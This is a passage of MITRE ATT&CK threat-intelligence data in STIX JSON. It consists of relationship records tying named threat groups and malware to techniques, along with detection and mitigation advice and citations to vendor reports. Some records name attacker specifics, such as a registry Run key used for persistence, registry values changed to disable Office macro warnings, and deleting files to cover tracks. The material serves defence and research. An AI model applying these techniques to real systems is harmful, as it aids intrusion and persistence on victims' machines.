intent.","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ea36f9f-f5b6-4494-be0a-061058d6b1f1","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.justice.gov/file/1080281/download","description":"Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.","source_name":"DOJ GRU Indictment Jul 2018"}],"modified":"2019-09-09T17:44:35.699Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has intentionally deleted computer files to cover their tracks, including with use of the program CCleaner.(Citation: DOJ GRU Indictment Jul 2018)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ea439b8-ca9d-462b-9bb5-e0f13651b10c","type":"relationship","created":"2020-10-21T02:14:05.475Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 CookieMiner Jan 2019","url":"https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/","description":"Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved July 22, 2020."}],"modified":"2020-10-21T02:14:05.475Z","description":"[CookieMiner](https://attack.mitre.org/software/S0492) has looked for files in the user's home directory with \"wallet\" in their name using find.(Citation: Unit42 CookieMiner Jan 2019)","relationship_type":"uses","source_ref":"malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5ea72071-0251-4826-8a7b-7677ec52eadb","created":"2023-08-01T18:34:49.780Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BitDefender BADHATCH Mar 2021","description":"Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:35:02.562Z","description":"[BADHATCH](https://attack.mitre.org/software/S1081) can obtain logged user information from a compromised machine and can execute the command `whoami.exe`.(Citation: BitDefender BADHATCH Mar 2021)","relationship_type":"uses","source_ref":"malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5ea94ba6-e92f-472b-9c83-392234f96fd6","created":"2022-03-30T14:26:51.867Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor interactions with network shares, such as reads or file transfers, using Server Message Block (SMB).","modified":"2022-04-13T18:46:41.089Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--f5468e67-51c7-4756-9b4f-65707708e7fa","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5eabbcb7-3672-4518-9e2e-2a5a8e3120fa","type":"relationship","created":"2020-12-22T17:02:53.323Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Molerats Dec 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf","description":"Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."},{"source_name":"BleepingComputer Molerats Dec 2020","url":"https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/","description":"Ilascu, I. (2020, December 14). Hacking group’s new malware abuses Google and Facebook services. Retrieved December 28, 2020."}],"modified":"2020-12-28T21:12:01.834Z","description":"[SharpStage](https://attack.mitre.org/software/S0546) can execute arbitrary commands with PowerShell.(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020)","relationship_type":"uses","source_ref":"malware--0ba9281c-93fa-4b29-8e9e-7ef918c7b13a","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5eac9edf-ec42-4ad9-846e-e36b533fd257","type":"relationship","created":"2020-02-11T18:58:11.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-11T18:58:11.872Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","target_ref":"attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5eb23e3a-c1fb-4d96-99d1-65be2e0a76ca","created":"2022-04-19T03:09:48.191Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Ensure that Driver Signature Enforcement is enabled to restrict unsigned drivers from being installed. ","modified":"2022-04-19T03:09:48.191Z","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5eb253cb-2e81-4f51-bd0e-d1734283491c","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit Part 2","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"}],"modified":"2020-03-16T15:53:20.501Z","description":"[ADVSTORESHELL](https://attack.mitre.org/software/S0045) collects, compresses, encrypts, and exfiltrates data to the C2 server every 10 minutes.(Citation: ESET Sednit Part 2)","relationship_type":"uses","source_ref":"malware--fb575479-14ef-41e9-bfab-0b7cf10bec73","target_ref":"attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5eb5ee0e-d186-40d3-a433-9562f85fdf6b","type":"relationship","created":"2019-06-07T19:05:01.800Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro IXESHE 2012","url":"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf","description":"Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019."}],"modified":"2019-06-10T19:29:30.902Z","description":"[Ixeshe](https://attack.mitre.org/software/S0015) collects the computer name of the victim's system during the initial infection.(Citation: Trend Micro IXESHE 2012)","relationship_type":"uses","source_ref":"malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5eba2b01-da0d-4340-816b-16a4f3cc8ba6","type":"relationship","created":"2021-10-12T21:55:09.989Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/","description":"Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.","source_name":"Volexity Patchwork June 2018"}],"modified":"2021-10-12T21:55:09.989Z","description":"[Patchwork](https://attack.mitre.org/groups/G0040) has obtained and used open-source tools such as [QuasarRAT](https://attack.mitre.org/software/S0262).(Citation: Volexity Patchwork June 2018)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5ebc97a3-54ee-4582-92ce-981f67c26f45","created":"2020-11-06T18:40:38.196Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"},{"source_name":"cobaltstrike manual","description":"Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.","url":"https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021.","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T12:44:30.554Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can inject a variety of payloads into processes dynamically chosen by the adversary.(Citation: cobaltstrike manual)(Citation: Cobalt Strike Manual 4.3 November 2020)(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ebd97d4-1979-40b2-b38b-b6ed44a2f32f","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}],"modified":"2020-03-20T21:07:48.537Z","description":"One variant of [CloudDuke](https://attack.mitre.org/software/S0054) uses a Microsoft OneDrive account to exchange commands and stolen data with its operators.(Citation: F-Secure The Dukes)","relationship_type":"uses","source_ref":"malware--cbf646f1-7db5-4dc6-808b-0094313949df","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ec0d44a-0dd0-4c28-b8b5-911d6663b09f","type":"relationship","created":"2022-03-30T14:26:51.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.836Z","description":"Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. When executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file.","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ec68d1c-9ba8-4f9c-b185-f4e8482a66b2","type":"relationship","created":"2021-02-08T23:18:31.901Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike Indrik November 2018","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/","description":"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."}],"modified":"2021-02-08T23:18:31.901Z","description":"[BitPaymer](https://attack.mitre.org/software/S0570) has set the run key HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run for persistence.(Citation: Crowdstrike Indrik November 2018)","relationship_type":"uses","source_ref":"malware--fa766a65-5136-4ff3-8429-36d08eaa0100","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5ecc940b-9506-484c-8866-6a6b08b63bf0","created":"2022-09-30T20:42:04.378Z","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T20:42:04.378Z","description":"[S-Type](https://attack.mitre.org/software/S0085) has provided the ability to execute shell commands on a compromised host.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ece2c1b-6685-4490-ae4f-6340d205625c","type":"relationship","created":"2021-09-07T14:32:45.980Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","source_name":"Proofpoint Operation Transparent Tribe March 2016"}],"modified":"2021-10-15T14:37:09.937Z","description":"[Crimson](https://attack.mitre.org/software/S0115) can use a HTTP GET request to download its final payload.(Citation: Proofpoint Operation Transparent Tribe March 2016)","relationship_type":"uses","source_ref":"malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5ed383c7-a4b7-441b-8f99-a9927689aea0","created":"2021-09-23T13:09:35.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN7 Apr 2022","description":"Abdo, B., et al. (2022, April 4). FIN7 Power Hour: Adversary Archaeology and the Evolution of FIN7. Retrieved April 5, 2022.","url":"https://www.mandiant.com/resources/evolution-of-fin7"},{"source_name":"CrowdStrike Carbon Spider August 2021","description":"Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021.","url":"https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T18:10:49.058Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) has encrypted virtual disk volumes on ESXi servers using a version of Darkside ransomware.(Citation: CrowdStrike Carbon Spider August 2021)(Citation: Mandiant FIN7 Apr 2022)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5ed5deda-543f-40f7-8f5d-df8f93c545e2","created":"2019-01-29T18:55:20.807Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Riskiq Remcos Jan 2018","description":"Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018.","url":"https://web.archive.org/web/20180124082756/https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-23T14:07:20.661Z","description":"[Remcos](https://attack.mitre.org/software/S0332) uses the infected hosts as SOCKS5 proxies to allow for tunneling and proxying.(Citation: Riskiq Remcos Jan 2018)","relationship_type":"uses","source_ref":"tool--7cd0bc75-055b-4098-a00e-83dc8beaff14","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5edb6931-3262-40a9-acce-3016ac4153d4","type":"relationship","created":"2020-06-16T17:53:19.061Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gamaredon June 2020","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."},{"source_name":"CERT-EE Gamaredon January 2021","url":"https://www.ria.ee/sites/default/files/content-editors/kuberturve/tale_of_gamaredon_infection.pdf","description":"CERT-EE. (2021, January 27). Gamaredon Infection: From Dropper to Entry. Retrieved February 17, 2022."}],"modified":"2022-02-17T16:16:01.882Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has removed security settings for VBA macro execution by changing registry values HKCU\\Software\\Microsoft\\Office\\<version>\\<product>\\Security\\VBAWarnings and HKCU\\Software\\Microsoft\\Office\\<version>\\<product>\\Security\\AccessVBOM.(Citation: ESET Gamaredon June 2020)(Citation: CERT-EE Gamaredon January 2021)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5edc2d20-2e9a-4587-9656-dfe38eb1d66d","created":"2019-04-23T21:19:10.608Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T17:51:20.410Z","description":"[CHOPSTICK](https://attack.mitre.org/software/S0023) includes runtime checks to identify an analysis environment and prevent execution on it.(Citation: FireEye APT28)","relationship_type":"uses","source_ref":"malware--ccd61dfc-b03f-4689-8c18-7c97eab08472","target_ref":"attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5edeca3e-96aa-45e6-b99b-044e25cb3245","type":"relationship","created":"2019-06-24T13:52:51.891Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/","description":"Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.","source_name":"Ars Technica Pwn2Own 2017 VM Escape"}],"modified":"2021-04-22T16:13:35.269Z","description":"Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. Risks of additional exploits and weaknesses in these systems may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)","relationship_type":"mitigates","source_ref":"course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5ee26367-1517-4fda-9dbe-8f9e63cc01eb","created":"2022-01-05T16:16:01.343Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Group 72","description":"Esler, J., Lee, M., and Williams, C. (2014, October 14). Threat Spotlight: Group 72. Retrieved January 14, 2016.","url":"http://blogs.cisco.com/security/talos/threat-spotlight-group-72"},{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:03:44.677Z","description":"(Citation: Cisco Group 72)(Citation: Novetta-Axiom)","relationship_type":"uses","source_ref":"intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973","target_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ee2ba47-9b66-4a62-8bde-ff29409d4830","type":"relationship","created":"2020-05-27T21:56:25.085Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Whitefly March 2019","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/whitefly-espionage-singapore","description":"Symantec. (2019, March 6). Whitefly: Espionage Group has Singapore in Its Sights. Retrieved May 26, 2020."}],"modified":"2020-05-27T21:56:25.085Z","description":"[Whitefly](https://attack.mitre.org/groups/G0107) has used [Mimikatz](https://attack.mitre.org/software/S0002) to obtain credentials.(Citation: Symantec Whitefly March 2019)","relationship_type":"uses","source_ref":"intrusion-set--b74f909f-8e52-4b69-b770-162bf59a1b4e","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5ee6a7c8-a9a5-4445-8173-408caab5bcbc","created":"2022-06-24T15:39:42.757Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Kevin](https://attack.mitre.org/software/S1020) can use a custom protocol tunneled through DNS or HTTP.(Citation: Kaspersky Lyceum October 2021)","modified":"2022-06-24T15:39:42.757Z","relationship_type":"uses","source_ref":"malware--e7863f5d-cb6a-4f81-8804-0a635eec160a","target_ref":"attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5ee76354-a60b-4c20-b3d8-1adda813f792","created":"2022-08-09T18:26:40.986Z","x_mitre_version":"0.1","external_references":[{"source_name":"Unit 42 PingPull Jun 2022","url":"https://unit42.paloaltonetworks.com/pingpull-gallium/","description":"Unit 42. (2022, June 13). GALLIUM Expands Targeting Across Telecommunications, Government and Finance Sectors With New PingPull Tool. Retrieved August 7, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Unit 42 PingPull Jun 2022)","modified":"2022-08-09T19:47:10.474Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"malware--3a0f6128-0a01-421d-8eca-e57d8671b1f1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ef1c7d8-70bc-4634-b705-644f4d1db3b0","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","source_name":"Symantec Elderwood Sept 2012"},{"source_name":"Symantec Trojan.Hydraq Jan 2010","description":"Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.","url":"https://www.symantec.com/connect/blogs/trojanhydraq-incident"}],"modified":"2021-01-06T19:32:28.687Z","description":"[Hydraq](https://attack.mitre.org/software/S0203) uses basic obfuscation in the form of spaghetti code.(Citation: Symantec Elderwood Sept 2012)(Citation: Symantec Trojan.Hydraq Jan 